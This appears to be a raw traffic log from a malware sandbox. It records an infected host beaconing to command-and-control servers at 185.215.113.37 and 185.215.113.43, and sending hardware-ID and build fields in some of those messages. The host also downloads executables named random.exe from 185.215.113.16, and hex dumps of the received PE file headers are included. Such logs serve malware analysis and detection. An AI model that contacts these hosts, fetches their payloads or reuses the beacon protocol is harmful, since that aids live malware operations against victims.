Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 21 Oct 2024 08:47:57 GMTContent-Type: application/octet-streamContent-Length: 1887232Last-Modified: Mon, 21 Oct 2024 08:30:09 GMTConnection: keep-aliveETag: "67161111-1ccc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 30 6b 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 6b 00 00 04 00 00 b3 f6 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 d0 2a 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 75 6e 74 70 7a 72 6f 00 70 1a 00 00 b0 50 00 00 6a 1a 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 66 72 6f 65 62 6a 65 00 10 00 00 00 20 6b 00 00 04 00 00 00 a6 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 6b 00 00 22 00 00 00 aa 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 21 Oct 2024 08:47:58 GMTContent-Type: application/octet-streamContent-Length: 1908224Last-Modified: Mon, 21 Oct 2024 08:30:16 GMTConnection: keep-aliveETag: "67161118-1d1e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 b0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 4b 00 00 04 00 00 d5 85 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 91 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 91 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 2a 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 76 77 64 79 69 6b 6b 00 10 1a 00 00 90 31 00 00 02 1a 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 77 67 71 6b 64 66 77 00 10 00 00 00 a0 4b 00 00 06 00 00 00 f6 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 b0 4b 00 00 22 00 00 00 fc 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 21 Oct 2024 08:48:00 GMTContent-Type: application/octet-streamContent-Length: 922624Last-Modified: Mon, 21 Oct 2024 07:51:53 GMTConnection: keep-aliveETag: "67160819-e1400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 10 08 16 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 64 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 0e 00 00 04 00 00 6b 44 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 d0 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 d0 a8 00 00 00 40 0d 00 00 aa 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 f0 0d 00 00 76 00 00 00 9e 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 21 Oct 2024 08:48:01 GMTContent-Type: application/octet-streamContent-Length: 1887232Last-Modified: Mon, 21 Oct 2024 08:30:09 GMTConnection: keep-aliveETag: "67161111-1ccc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 30 6b 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 6b 00 00 04 00 00 b3 f6 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 d0 2a 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 75 6e 74 70 7a 72 6f 00 70 1a 00 00 b0 50 00 00 6a 1a 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 66 72 6f 65 62 6a 65 00 10 00 00 00 20 6b 00 00 04 00 00 00 a6 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 6b 00 00 22 00 00 00 aa 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJDHIDBFBFHIJKFHCGIEHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 44 48 49 44 42 46 42 46 48 49 4a 4b 46 48 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 30 45 44 45 33 36 37 39 30 31 32 32 36 33 31 38 30 30 32 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 48 49 44 42 46 42 46 48 49 4a 4b 46 48 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 48 49 44 42 46 42 46 48 49 4a 4b 46 48 43 47 49 45 2d 2d 0d 0a Data Ascii: ------JJDHIDBFBFHIJKFHCGIEContent-Disposition: form-data; name="hwid"900EDE3679012263180025------JJDHIDBFBFHIJKFHCGIEContent-Disposition: form-data; name="build"doma------JJDHIDBFBFHIJKFHCGIE--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 38 37 36 42 36 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B52876B65182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 34 38 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000489001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 34 39 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000490001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Mon, 21 Oct 2024 08:30:03 GMTIf-None-Match: "6716110b-2d3c00"
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCFIIIJJKJKFHIDGDBAKHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 30 45 44 45 33 36 37 39 30 31 32 32 36 33 31 38 30 30 32 35 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 2d 2d 0d 0a Data Ascii: ------HCFIIIJJKJKFHIDGDBAKContent-Disposition: form-data; name="hwid"900EDE3679012263180025------HCFIIIJJKJKFHIDGDBAKContent-Disposition: form-data; name="build"doma------HCFIIIJJKJKFHIDGDBAK--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 34 39 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000491001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Mon, 21 Oct 2024 08:30:09 GMTIf-None-Match: "67161111-1ccc00"
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 34 39 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000492001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Mon, 21 Oct 2024 08:30:03 GMTIf-None-Match: "6716110b-2d3c00"
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEHIJJKEGHJJKECBKECFHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 48 49 4a 4a 4b 45 47 48 4a 4a 4b 45 43 42 4b 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 30 45 44 45 33 36 37 39 30 31 32 32 36 33 31 38 30 30 32 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 4a 4a 4b 45 47 48 4a 4a 4b 45 43 42 4b 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 4a 4a 4b 45 47 48 4a 4a 4b 45 43 42 4b 45 43 46 2d 2d 0d 0a Data Ascii: ------JEHIJJKEGHJJKECBKECFContent-Disposition: form-data; name="hwid"900EDE3679012263180025------JEHIJJKEGHJJKECBKECFContent-Disposition: form-data; name="build"doma------JEHIJJKEGHJJKECBKECF--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 34 39 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000493001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Mon, 21 Oct 2024 08:30:09 GMTIf-None-Match: "67161111-1ccc00"
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 34 39 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000494001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Mon, 21 Oct 2024 08:30:03 GMTIf-None-Match: "6716110b-2d3c00"
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 34 39 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000495001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGIEGHJEGHJKFIEBFHJKHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 49 45 47 48 4a 45 47 48 4a 4b 46 49 45 42 46 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 30 45 44 45 33 36 37 39 30 31 32 32 36 33 31 38 30 30 32 35 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 45 47 48 4a 45 47 48 4a 4b 46 49 45 42 46 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 45 47 48 4a 45 47 48 4a 4b 46 49 45 42 46 48 4a 4b 2d 2d 0d 0a Data Ascii: ------CGIEGHJEGHJKFIEBFHJKContent-Disposition: form-data; name="hwid"900EDE3679012263180025------CGIEGHJEGHJKFIEBFHJKContent-Disposition: form-data; name="build"doma------CGIEGHJEGHJKFIEBFHJK--
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Mon, 21 Oct 2024 08:30:09 GMTIf-None-Match: "67161111-1ccc00"
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 34 39 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000496001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
